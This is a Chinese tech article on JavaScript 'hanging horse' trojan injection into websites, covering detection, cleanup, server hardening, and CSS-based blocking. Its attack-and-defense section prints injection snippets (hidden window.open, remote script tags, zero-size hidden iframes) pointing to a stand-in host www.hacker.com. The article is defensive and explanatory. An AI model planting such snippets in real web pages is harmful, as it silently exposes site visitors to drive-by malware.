当前位置: 代码迷 >> JavaScript >> js挂马分析及处置方法
  详细解决方案

js挂马分析及处置方法

热度:288   发布时间:2012-11-23 22:54:33.0
js挂马分析及处理方法

js挂马分析及处理方法

在网站优化设计当中,检测网页木马也是很重要的一项工作,目前流行的网站被黑,是在相应的asp,htm,js等文件中,插入以js调用方式的。本文主要介绍网页挂马的种类、如何检测网页是否被挂马、如何清除网页木马。如何防止网页被挂马。?
  1:网页挂马的种类.

  目前流行的网站被黑,是在相应的asp,htm,js等文件中,插入以js调用方式的。

  卢松松以前做过的‘极品源码下载站’就遇到过JS挂马

  ‘校园闹翻天论坛’就遇到用户提权,利用动网程序漏洞(上传附件漏洞)拥有网站管理员权限。删了论坛几千条数据,一千多位会员的ID

  2:如何检测网页是否被挂马。

  (1):专业检测工具,六款免费网页安全检测工具横向测评(华军软件园)

  (2):google检测,或者可以利用Google搜索你的网站、博客进行检测。如果有网站有木马则google会在搜索列表的下方提示该网站有不安全因素。

  (3):杀毒软件检测,常用的杀毒软件也可以检测出来。

  (4):人工检测,打开你的网站、博客,点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

  (5):使用McAfee SiteAdvisor安全浏览网页的插件。

  


  3:如何清除网页木马。

  一旦中了网页木马,就看那些文件是最近修改过的,主要查看这些新文件,(从FTP中可以查看文件最近修改时间。)然后进入源文件把相关的网页挂马种类的可疑代码删除。

  如果你对你所使用的网站、博客程序不熟悉,建议删除所有文件(数据库、图片、文档、程序模板主题等文件夹可以保留)

  4:如何防止网页被挂马。如果你的网站还没有被挂马,请从预防开始吧。

  (1):对网友开放上传附件功能的网站一定要进行身份认证,并只允许信任的人使用上传程序。

  (2):保证你所使用的程序及时的更新。

  (3):不要在前台网页上加注后台管理程序登陆页面的链接。

  (4):要时常备份数据库等重要文件,但不要把备份数据库放在程序默认的备份目录下。

  (5):管理员的用户名和密码要有一定复杂性,不能过于简单。

  (6):IIS中禁止写入和目录禁止执行的功能,二项功能组合,可以有效的防止ASP木马。

  (7):可以在服务器、虚拟主机控制面板,设置执行权限选项中,直接将有上传权限的目录,取消ASP的运行权限。

  (8):创建一个robots.txt上传到网站根目录。Robots能够有效的防范利用搜索引擎窃取信息的骇客
  IFRAME挂马比较早,相应的预防措施也比较多,其中用CSS配合JS脚本进行预防是主流方式。可这种预防方式也存在安全隐患,JS脚本也可以被用来挂马,令人防不胜防。我们下面要介绍反击JS挂马的方法。
JS挂马溯源

  当IFRAME逐渐被黑客滥用的时候,有经验的安全工程师也开始研究相应的对策,一段时间内各种阻止IFRAME挂马的方法不断涌现,其中通用性较高的就是利用CSS配合JS脚本防御IFRAME挂马。  而黑客也发现,很多网站都会让网页调用JS脚本来实现广告等诸多特效,如果将木马挂在JS脚本中,所有调用该JS脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此JS脚本挂马逐渐开始被黑客应用。  小百科:JS脚本是JavaScript脚本语言的简称,它是一种面向对象的脚本语言,目前广泛用于动态网页的编程。需要提示大家的是,JavaScript和Java除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的。而JavaScript与Jscript也不同,Jscript是微软为了迎战JavaScript推出的脚本语言。  虽然JavaScript作为给非程序人员的脚本语言向大众推广,但是JavaScript是一门具有丰富特性的语言,它有着和其他编程语言一样的复杂性。实际上,你必须对JS有扎实的理解才能用它来编写比较复杂的程序,作为一名安全工程师,掌握JS脚本在工作中会有很大的帮助。
挂马原理一点通

  JS脚本挂马对于黑客而言,可以说优点多得数不过来,首先JS脚本在挂马时可以直接将JS代码写在网页中,也可以通过注入网页,让网站远程调取异地JS脚本。此外,JS挂马插入Web页面的方法有几十种,绝对够菜鸟们眼花缭乱,无从辨别木马在何处。  IFRAME挂马相对于安全工程师而言,如同一个穿着鲜红颜色外衣的劫匪,招摇而扎眼,很容易被发现。但是利用JS挂马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在安全工程师搜查时,很容易蒙混过关,导致木马久杀不绝。
JS挂马攻防实录

  攻现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。
这种方法使用的关键代码如下:

window.open("http://www.hacker.com/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");?
  这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。  另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('<Iframe src="网页木马地址" ></iframe>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入:<script src="http://www.hacker.com/木马脚本.js"></script>

或者

document.write("<div style='display:none'>")
document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
document.write("</div>")

就成功地将木马挂到了对方的网页中了。

小提示:黑客还可以根据情况随机变换插入的JS挂马方法,例如黑客有可能会将脚本写为:

<div style="behaviour: url(http://www.hacker.com/木马脚本.js);">

或者:

<iframe src="vbscript:[挂马脚本]">


等等……

防第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:

iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}


  不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。  所以我们为安全工程师提供了一段可以中止JS脚本运行的CSS代码,这段代码会让异地外域的JS文件在使用document.write()时,被document.close()强制关闭。这个时侯JS挂马的内容往往还没有来得及写完,只有部分被强制输出了,Writer后面的内容再不会被写入访问者的电脑中,从而起到防范JS脚本挂马的作用。
<title>让JS挂马中止的CSS代码</title>
<style type="text/css" id="shudoo">
/*<![CDATA[*/
iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.indexOf('http')==0)?document.close():'');}
/*]]>*/
</style>

  相关解决方案